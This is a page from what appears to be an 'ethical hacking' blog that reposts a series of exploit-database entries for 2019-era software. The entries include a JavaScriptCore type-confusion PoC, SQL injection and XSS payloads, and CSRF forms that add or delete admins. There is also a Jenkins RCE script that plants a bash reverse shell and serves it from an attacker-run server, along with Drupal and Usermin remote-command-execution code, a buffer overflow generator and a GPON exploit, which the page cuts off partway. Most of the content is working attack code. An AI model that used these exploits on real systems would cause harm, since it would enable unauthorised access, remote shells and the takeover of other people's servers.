/*
https://github.com/WebKit/webkit/blob/3fff8c40c665a09de5e3ede46fc35908f69353c3/Source/JavaScriptCore/runtime/Lookup.h#L392
if (value.attributes() & PropertyAttribute::PropertyCallback) {
JSValue result = value.lazyPropertyCallback()(vm, &thisObj);
thisObj.putDirect(vm, propertyName, result, attributesForStructure(value.attributes()));
return;
}
if (value.attributes() & PropertyAttribute::DOMJITAttribute) {
ASSERT_WITH_MESSAGE(classInfo, "DOMJITAttribute should have class info for type checking.");
const DOMJIT::GetterSetter* domJIT = value.domJIT();
auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, domJIT->getter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, domJIT });
thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
return;
}
if (value.attributes() & PropertyAttribute::DOMAttribute) {
ASSERT_WITH_MESSAGE(classInfo, "DOMAttribute should have class info for type checking.");
auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, nullptr });
thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
return;
}
CustomGetterSetter* customGetterSetter = CustomGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter());
thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
It's possible that the given property's attributes variable "value.attributes()" doesn't contain PropertyAttribute::CustomAccessor. In that case, a mismatch between the value of the property and its attributes occurs. When handling a property access operation, the normal interpreter sees the type of the value whereas the JIT compiler sees the attributes. So we can use JITed code to pull out the CustomGetterSetter object to the JavaScript world. The PoC demonstrates type confusion and an OOB read using a CustomGetterSetter object linked to regExpConstructorInput.
PoC:
*/
function opt(o) {
return o.r.input;
}
Object.assign({}, RegExp); // Reifying
for (let i = 0; i < 200000; i++) {
opt({r: RegExp});
}
let input = opt({r: RegExp}); // Pulling the CustomGetterSetter object.
let o = {
a0: 0x1234,
a1: 0x1234,
a2: 0x1234,
a3: 0x1234,
a4: 0x1234,
a5: 0x1234,
a6: 0x1234,
a7: 0x1234,
a8: 0x1234,
a9: 0x1234,
a10: 0x1234,
a11: 0x1234,
}
o.input = input;
print(o.input); // The normal interpreter doesn't see the attributes, so it will just call the underneath getter using callCustomGetter.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863591800
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Advance Gift Shop Pro Script 2.0.3 - SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 21, 2019
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link : https://www.phpscriptsmall.com/product/gifts-shop/
# Tested Version: 2.0.3
# Tested on: Kali linux, Windows 8.1
# PoC:
# http://localhost/[PATH]/?category=&s=[SQL]&search_posttype=product
# http://localhost/[PATH]/?category=&s=1%20and%20extractvalue(rand(),concat(0x7e,version()))&search_posttype=product
# Exploit Title: News Website Script 2.0.5 - SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 22, 2019
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link : https://www.phpscriptsmall.com/product/news-website-script/
# Tested Version: 2.0.5
# Tested on: Kali linux, Windows 8.1
# PoC:
# http://localhost/[PATH]/index.php/show/news/11 [SQL]/
# http://localhost/[PATH]/index.php/show/news/11%20and%201=0/Sports/january-25-2018/Pogba-still-has-to-improve-Allegri
# Exploit Title: PHP Ecommerce Script 2.0.6 - Cross Site Scripting / SQL Injection
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 22, 2019
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link : https://www.phpscriptsmall.com/product/php-ecommerce-script/
# Tested Version: 2.0.6
# Tested on: Kali linux, Windows 8.1
# PoC:
# Cross Site Scripting:
# http://localhost/[PATH]/?s=[XSS]
# http://localhost/[PATH]/?s=<scRiPt>alert(1)</ScrIpT>
# SQL Injection:
# http://localhost/[PATH]/?s=[SQL]
# http://localhost/[PATH]/?s=1%20and%20extractvalue(rand(),concat(0x7e,version()))
# Exploit Title: dynamic code evaluation of zzzphp cms 1.6.1
# Google Dork: intext:"2015-2019 zzcms.com"
# Date: 24/02/2019
# Exploit Author: Yang Chenglong
# Vendor Homepage: http://www.zzzcms.com/index.html
# Software Link: http://115.29.55.18/zzzphp.zip
# Version: 1.6.1
# Tested on: windows/Linux,iis/apache
# CVE : CVE-2019-9041
Due to the failure of filtering function parserIfLabel() in inc/zzz_template.php, attackers can insert dynamic php code into the template file and leads to dynamic code evaluation.
Exploit:
login in to the admin panel, edit the template of search.html, insert the following code:
{if:assert($_POST[x])}phpinfo();{end if}
Visit the http://webroot/search/ and post data “x = phpinfo();”, the page will execute the php code “phpinfo()” as follow:
[1.png]
Remarks:
While the above exploit requires attackers to have the access to the admin panel, I will post another exploit by using csrf to acquire the control of website without access to the admin panel.
#!/usr/bin/env python
#
# Exploit Title : jenkins-preauth-rce-exploit.py
# Date : 02/23/2019
# Authors : wetw0rk & 0xtavian
# Vendor Homepage : https://jenkins.oi
# Software Link : https://jenkins.io/download/
# Tested on : jenkins=v2.73 Plugins: Script Security=v1.49, Pipeline: Declarative=v1.3.4, Pipeline: Groovy=v2.60,
#
# Greetz: Hima, Fr13ndzSec, AbeSnowman, Berserk, Neil
#
# Description : This exploit chains CVE-2019-1003000 and CVE-2018-1999002 for Pre-Auth Remote Code Execution in Jenkins
# Security Advisory : https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
#
# Vulnerable Plugins -
# Pipeline: Declarative Plugin up to and including 1.3.4
# Pipeline: Groovy Plugin up to and including 2.61
# Script Security Plugin up to and including 1.49
#
#
# Credit Goes To @orange_8361 & adamyordan
#
# http://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
# http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
# https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
import os
import sys
import requests
import random
import SimpleHTTPServer
import SocketServer
import multiprocessing
class exploit_ya_bish():
def __init__(self, rhost, rport, lhost, lport):
self.rhost = rhost
self.rport = rport
self.lhost = lhost
self.lport = lport
self.pname = ""
# evil_server: server to host the payload
def evil_server(self):
handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer((self.lhost, 80), handler)
httpd.serve_forever()
return
# gen_payload: generate payload and start web server
def gen_payload(self):
self.pname = ''.join(
[
random.choice(
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
) for i in range(random.randint(1, 25))
]
)
home = os.getcwd()
os.makedirs("www/package/%s/1/" % self.pname)
os.chdir("www/package/%s/1/" % self.pname)
pfile = 'public class %s {\n' % self.pname
pfile += ' public %s() {\n' % self.pname
pfile += ' try {\n'
pfile += ' String payload = "bash -i >& /dev/tcp/{:s}/{:s} 0>&1";\n'.format(self.lhost, self.lport)
pfile += ' String[] cmds = { "/bin/bash", "-c", payload };\n'
pfile += ' java.lang.Runtime.getRuntime().exec(cmds);\n'
pfile += ' } catch (Exception e) {\n'
pfile += ' }\n'
pfile += ' }\n'
pfile += '}\n'
print "{1} generating payload"
fd = open('{:s}.java'.format(self.pname), 'w')
fd.write(pfile)
fd.close()
os.makedirs("META-INF/services/")
os.system("echo %s > META-INF/services/org.codehaus.groovy.plugins.Runners" % self.pname)
os.system("javac -Xlint:-options -source 6 -target 1.6 %s.java" % self.pname)
os.system("jar cf %s-1.jar ." % self.pname)
print "{2} starting evil payload server"
os.chdir("%s/www" % home)
jobs = []
for i in range(1):
p = multiprocessing.Process(target=self.evil_server)
jobs.append(p)
p.start()
os.chdir(home)
return
def exploit(self):
self.gen_payload()
cookies = \
{
'JSESSIONID.wetw0rk!': 'XXXXXXXXXXXXXXXXXXXXXXXX',
}
headers = \
{
'Host': '{:s}:{:s}'.format(self.rhost, self.rport),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
}
print "{3} as easy as 1,2,3 triggering now"
response = requests.get(
(
'http://{:s}:{:s}/securityRealm/user/admin/descriptorByName/'
'org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value='
'@GrabConfig(disableChecksums=true)%0a'
'@GrabResolver(name=%27{:s}%27,%20root=%27http://{:s}%27)%0a'
'@Grab(group=%27package%27,%20module=%27{:s}%27,%20version=%271%27)%0aimport%20Payload;'.format(
self.rhost, self.rport,
self.pname,
self.lhost,
self.pname
)
),
headers=headers,
cookies=cookies,
verify=False
)
return
def main():
try:
rhost = sys.argv[1]
rport = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]
except:
print "Usage: ./%s <rhost> <rport> <lhost> <lport>" % sys.argv[0]
print "MAKE SURE U GOT A LISTENER HOMIE!!"
exit(-1)
start = exploit_ya_bish(rhost,rport,lhost,lport)
start.exploit()
os.system("rm -r www")
main()
# Exploit Title: Simple Online Hotel Reservation System - Cross-Site Request Forgery (Delete Admin)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 25, 2019
# Vendor Homepage: https://code-projects.org/
# Software Link : https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/
# Tested on: Kali linux, Windows 8.1
# PoC:
<html>
<head>
<title>Delete Admin</title>
</head>
<body>
<form method = "POST" action="http://localhost/[PATH]/admin/delete_account.php?admin_id=1">
<!-- You can change admin_id -->
<button>Delete</button>
</form>
</body>
</html>
# Exploit Title: Simple Online Hotel Reservation System - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 25, 2019
# Vendor Homepage: https://code-projects.org/
# Software Link : https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/
# Tested on: Kali linux, Windows 8.1
# PoC:
<html>
<head>
<title>Add Admin</title>
</head>
<body>
<form method = "POST" action="http://localhost/[PATH]/admin/add_account.php">
<label>Name </label>
<input type = "text" name = "name" /><br><br>
<label>Username </label>
<input type = "text" name = "username" /><br><br>
<label>Password </label>
<input type = "password" name = "password" /><br><br>
<button name = "add_account">Saved</button>
</div>
</form>
</body>
</html>
# Exploit Title: Simple Online Hotel Reservation System - SQL Injection / Authentication Bypass
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan[@]gmail[.]com
# Discovery Date: February 25, 2019
# Vendor Homepage: https://code-projects.org/
# Software Link : https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/
# Tested on: Kali linux, Windows 8.1
# PoC:
# Authentication Bypass:
# Go to admin login page (http://localhost/[PATH]/admin/index.php), then use below payload as username and password => Username: ' or 1 -- -
Password: ' or 1 -- -
# SQL Injection:
# http://localhost/[PATH]/admin/edit_room.php?room_id=4 [SQLi]
# http://localhost/[PATH]/admin/edit_room.php?room_id=-4%27union%20select%201,2,3,4%20--%20-
#!/usr/bin/env python3
# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza
# Technical details for this exploit is available at:
# https://www.drupal.org/sa-core-2019-003
# https://www.ambionics.io/blog/drupal8-rce
# https://twitter.com/jcran/status/1099206271901798400
# Sample usage:
#
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
# by @leonjza
#
# References:
# https://www.drupal.org/sa-core-2019-003
# https://www.ambionics.io/blog/drupal8-rce
#
# [warning] Caching heavily affects reliability of this exploit.
# Nodes are used as they are discovered, but once they are done,
# you will have to wait for cache expiry.
#
# Targeting http://127.0.0.1/...
# [+] Finding a usable node id...
# [x] Node enum found a cached article at: 2, skipping
# [x] Node enum found a cached article at: 3, skipping
# [+] Using node_id 4
# [+] Target appears to be vulnerable!
#
# USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
# root 49 0.0 0.0 4288 716 pts/0 Ss+ 16:38 0:00 sh
# root 1 0.0 1.4 390040 30540 ? Ss 15:20 0:00 apache2 -DFOREGROUND
# www-data 24 0.1 2.8 395652 57912 ? S 15:20 0:08 apache2 -DFOREGROUND
# www-data 27 0.1 2.9 396152 61108 ? S 15:20 0:08 apache2 -DFOREGROUND
# www-data 31 0.0 3.4 406304 70408 ? S 15:22 0:04 apache2 -DFOREGROUND
# www-data 39 0.0 2.7 398472 56852 ? S 16:14 0:02 apache2 -DFOREGROUND
# www-data 44 0.2 3.2 402208 66080 ? S 16:37 0:05 apache2 -DFOREGROUND
# www-data 56 0.0 2.6 397988 55060 ? S 16:38 0:01 apache2 -DFOREGROUND
# www-data 65 0.0 2.3 394252 48460 ? S 16:40 0:01 apache2 -DFOREGROUND
# www-data 78 0.0 2.5 400996 51320 ? S 16:47 0:01 apache2 -DFOREGROUND
# www-data 117 0.0 0.0 4288 712 ? S 17:20 0:00 \_ sh -c echo
import sys
from urllib.parse import urlparse, urljoin
import requests
def build_url(*args) -> str:
"""
Builds a URL
"""
f = ''
for x in args:
f = urljoin(f, x)
return f
def uri_valid(x: str) -> bool:
"""
https://stackoverflow.com/a/38020041
"""
result = urlparse(x)
return all([result.scheme, result.netloc, result.path])
def check_drupal_cache(r: requests.Response) -> bool:
"""
Check if a response had the cache header.
"""
if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
return True
return False
def find_article(base: str, f: int = 1, l: int = 100):
"""
Find a target article that does not 404 and is not cached
"""
while f < l:
u = build_url(base, '/node/', str(f))
r = requests.get(u)
if check_drupal_cache(r):
print(f'[x] Node enum found a cached article at: {f}, skipping')
f += 1
continue
# found an article?
if r.status_code == 200:
return f
f += 1
def check(base: str, node_id: int) -> bool:
"""
Check if the target is vulnerable.
"""
payload = {
"_links": {
"type": {
"href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
}
},
"type": {
"target_id": "article"
},
"title": {
"value": "My Article"
},
"body": {
"value": ""
}
}
u = build_url(base, '/node/', str(node_id))
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
if check_drupal_cache(r):
print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
return False
if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
return True
return False
def exploit(base: str, node_id: int, cmd: str):
"""
Exploit using the Guzzle Gadgets
"""
# pad a easy search replace output:
cmd = 'echo ---- & ' + cmd
payload = {
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
"".replace('|size|', str(len(cmd))).replace('|command|', cmd)
}
],
"_links": {
"type": {
"href": f"{urljoin(base, '/rest/type/shortcut/default')}"
}
}
}
u = build_url(base, '/node/', str(node_id))
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
if check_drupal_cache(r):
print(f'Exploiting {node_id} returned cache HIT, may have failed')
if '----' not in r.text:
print('[warn] Command execution _may_ have failed')
print(r.text.split('----')[1])
def main(base: str, cmd: str):
"""
Execute an OS command!
"""
print('[+] Finding a usable node id...')
article = find_article(base)
if not article:
print('[!] Unable to find a node ID to reference. Check manually?')
return
print(f'[+] Using node_id {article}')
vuln = check(base, article)
if not vuln:
print('[!] Target does not appear to be vulnerable.')
print('[!] It may also simply be a caching issue, so maybe just try again later.')
return
print(f'[+] Target appears to be vulnerable!')
exploit(base, article, cmd)
if __name__ == '__main__':
print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
print(' by @leonjza\n')
print('References:\n'
' https://www.drupal.org/sa-core-2019-003\n'
' https://www.ambionics.io/blog/drupal8-rce\n')
print('[warning] Caching heavily affects reliability of this exploit.\n'
'Nodes are used as they are discovered, but once they are done,\n'
'you will have to wait for cache expiry.\n')
if len(sys.argv) <= 2:
print(f'Usage: {sys.argv[0]} <target base URL> <command>')
print(f' Example: {sys.argv[0]} http://127.0.0.1/ id')
target = sys.argv[1]
command = sys.argv[2]
if not uri_valid(target):
print(f'Target {target} is not a valid URL')
sys.exit(1)
print(f'Targeting {target}...')
main(target, command)
# Exploit Title: Xlight 3.9.1 FTP Server SEH Overwrite
# Google Dork: N/A
# Date: 2019-02-24
# Exploit Author: Logan Whitmire
# Vendor Homepage: https://www.xlightftpd.com/index.htm
# Software Link: https://www.xlightftpd.com/download/xlight.zip
# Version: 3.9.1
# Tested on: Windows XP
# CVE : N/A
POC:#!/usr/bin/python
#Vulnerable Software: Xlight FTP Server 3.9.1
#Link: https://www.xlightftpd.com/download.htm
#Date: 2019-02-24
#Twitter: thermal_tp
#inspired by bzyo's exploit
# 1. Generate overflow.txt, open, and copy contents to clipboard
# 2. Virtual Server
# 3. Modify Virtual Server Configuration
# 4. Advanced
# 5. Misc
# 6. Execute a program after user logged in
# 7. Setup
# 8. Paste crash.txt contents
# 9. Application crashes
# 10. SEH is overwritten
buffer="A"*428
file="overflow.txt"
generate=open(file, "w")
generate.write(buffer)
generate.close
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Usermin 1.750 - Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in Usermin
1.750 and lower versions. This vulnerability has the same characteristics as the Webmin 1.900 RCE(EDB-46201).
Any user authorized to the "Java file manager" and "Upload and Download" fields, to execute arbitrary commands with root privileges.
Usermin is the most shared interface with users, so the vulnerability is dangerous.
In addition, "Running Processes" field must be authorized to discover the directory to be uploaded.
A vulnerable ".cgi" file can be printed on the original files of the Usermin application.
The vulberable file we are uploading should be integrated with the application.
Therefore, a ".cgi" file with the vulnerability belong to Usermin application should be used.
The module has been tested successfully with Usermin 1.750 over Debian 4.9.18.
},
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Usermin-1750-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Usermin <= 1.750', { }]],
'DisclosureDate' => 'Feb 27 2019',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(20000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Usermin Username']),
OptString.new('PASSWORD', [true, 'Usermin Password'])
], self.class)
end
##
# Target and input verification
##
def check
peer = "#{rhost}:#{rport}"
vprint_status("Attempting to login...")
data = "user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "redirect=1; testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /usid/
vprint_good "Login successful"
session = res.get_cookies.split("usid=")[1].split(";")[0]
print_status("#{session}")
else
vprint_error "Service found, but login failed"
return Exploit::CheckCode::Detected
end
vprint_status("Attempting to execute...")
command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "redirect=1; testing=1; usid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
peer = "#{rhost}:#{rport}"
print_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "redirect=1; testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /usid/
session = res.get_cookies.scan(/usid\=(\w+)\;*/).flatten[0] || ''
if session and not session.empty?
print_good "Login successfully"
else
print_error "Authentication failed"
return
end
else
print_error "Authentication failed"
return
end
##
# Directory and SSL verification for referer
##
ps = "#{datastore['SSL']}"
if ps == "true"
ssl = "https://"
else
ssl = "http://"
end
print_status("Target URL => #{ssl}#{peer}")
res1 = send_request_raw(
{
'method' => "POST",
'uri' => "/proc/index_tree.cgi?",
'headers' =>
{
'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1",
},
'cookie' => "redirect=1; testing=1; usid=#{session}"
})
if res1 and res1.code == 200 and res1.body =~ /Running Processes/
print_status "Searching for directory to upload..."
stpdir = res1.body.scan(/perl.+usermin/).map{ |s| s.split("perl ").last }.map{ |d| d.split("miniserv").first }.map{ |d| d.split("miniserv").first }
dir = stpdir[0] + "file"
print_good("Directory to upload => #{dir}")
else
print_error "No access to processes or no upload directory found."
return
end
##
# Loading phase of the vulnerable file
##
boundary = Rex::Text.rand_text_alphanumeric(29)
data2 = "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
data2 << "Content-Type: application/octet-stream\r\n\r\n"
data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"
data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
data2 << "\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
data2 << "-----------------------------{boundary}--\r\n"
res2 = send_request_raw(
{
'method' => "POST",
'uri' => "/updown/upload.cgi?id=154739243511",
'data' => data2,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1",
},
'cookie' => "redirect=1; testing=1; usid=#{session}"
})
if res2 and res2.code == 200 and res2.body =~ /Saving file/
print_good "Vulnerable show.cgi file was successfully uploaded."
else
print_error "Upload failed."
return
end
##
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")
command = payload.encoded
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
'cookie' => "redirect=1; testing=1; usid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
print_good "Payload executed successfully"
else
print_error "Error executing the payload"
return
end
end
end
#!/usr/bin/python3
import argparse
import requests
import urllib.parse
import binascii
import re
def run(target):
""" Execute exploitation """
# We're using CVE-2018-10561 and/or it's extension in order to exploit this
# Authenticated RCE in usb_Form method of GPON ONT. We can also exploit this
# issue after successful authentication: "useradmin" permission is enough
#
# IP Spoofing. Perspective option here too
#
# Step 1. Just a request to adjust stack for the exploit to work
#
# POST /GponForm/device_Form?script/ HTTP/1.1
# Host: 192.168.1.1
